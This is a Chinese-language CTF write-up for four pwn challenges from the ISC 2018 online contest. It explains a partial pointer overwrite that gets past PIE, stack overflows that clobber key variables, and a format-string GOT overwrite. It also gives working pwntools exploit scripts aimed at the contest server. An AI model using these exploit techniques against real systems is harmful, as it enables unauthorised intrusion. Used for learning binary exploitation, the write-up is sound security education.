ISC 2018 藍鯨魔塔線上賽-pwn
前言
這個應該是菜鳥pwn狗的成長之路吧。。這個題目比較簡單就記錄一下
正文
首先checksec一波
可以發現開了NX:棧不可執行,PIE:隨機地址,RELRO:got表不可改寫
現在還不知道應該是怎麼樣的思路,再ida一波。
F5一波
這裡可以看見漏洞應該就是在read這裡吧,發現只溢位了一個位元組所以有點奇妙。。
從這裡可以看見在函式列表李有一個flag列表我猜可能是ret到flag函式然後應該就可以拿到flag了
這個時候執行一下。
這裡可以看出bye函式應該是正常情況下的跳轉函式,然後再看看ida發現buf下面有一個函式指標我估計是跳轉指標
接下來就是pie的繞過了,通過gdb除錯可以發現bye和flag 的前幾位是一樣的就之後後四位的固定值是不變的,所以只要覆蓋後三位指標就可以了。
wp:
from pwn import * #p = process('./pwn1') p = remote('39.107.92.230',10001) context.log_level='debug' payload = 24 * 'a' + p64(0x7f3) p.recvuntil('Welcome, give me you best shot') p.sendline(payload) p.interactive()
結尾
題目比較簡單但是可以練一下pie繞過的原理,還問了好幾次什麼事函式指標。。太魔性了
pwn2
這題就是普通的溢位覆蓋關鍵變數。。就是題目的flag太魔性了在tmp目錄下。。
wp
from pwn import *
#p = process('./pwn2')
p = remote('39.107.92.230',10002)
context.log_level = 'debug'
#gdb.attach(p)
payload = 'a' * 0x28 + p64(0xABCD1234)
p.sendline(payload)
p.interactive()
pwn3
唉這比賽有毒都是深夜更題,不過作為練習基礎入門還是很好的題目。
其實就是一個格式化字串改寫got表的一個操作我這裡利用了pwntools裡的fmtstr_payload(offset,{got:target})
然後觀察程式裡是有一個system的後門的所以可以直接用作為target的地址。當然還問了丁佬還可以用one_gadget當然是面對改寫got表的情況,這道題還是不太能用的因為洩漏不出libc(完了發現小白的我也能說出這句話了
pwn4
終於最後一天了可以發部落格了
這道題目就是一個棧溢位覆蓋關鍵變數然後過幾個check,先是密碼的check然後是長度的check
這裡可以看見這裡有一個print_record(&v8)函式
點開來看一下可以發下你是一個讀取檔案的函式
可以看見這裡會讀取我們的引數所代表的檔案,所以如果我們把引數改成flag.txt就可以達成我們的目標了,再看看前面還有一個check是我們輸入的東西的長度一定要等於36。
這裡可以看見剛開始有一個輸入的check這個很簡單過,然後看我們輸入的變數的地址,可以發現這裡有一個棧溢位,而且v8那個引數剛好就在棧溢位的下面可以更改。
並且可以發現這裡如果我們的輸入在1-7之間那麼他都會對v8進行賦值。。那麼就失去了我們想要的效果了。所以我們的輸入一定要是在大於7那麼現在思路就有了
先用棧溢位將v8覆蓋成flag.txt因為要長度為36所以只要前面加14個'./'就可以了
wp:
from pwn import *
#p = process('./pwn4')
p = remote("39.107.92.230",10004)
payload = 'kaiokenx20' +'\x00'*6 +'./'*13 + './flag.txt'
p.sendline(payload)
p.recvuntil("Enter choice :- ")
p.sendline('8')
p.interactive()
這次比賽比較簡單可以ak pwn,但是是真的因為簡單。。。這個題目還是很好的作為入門的新手還是很友好的。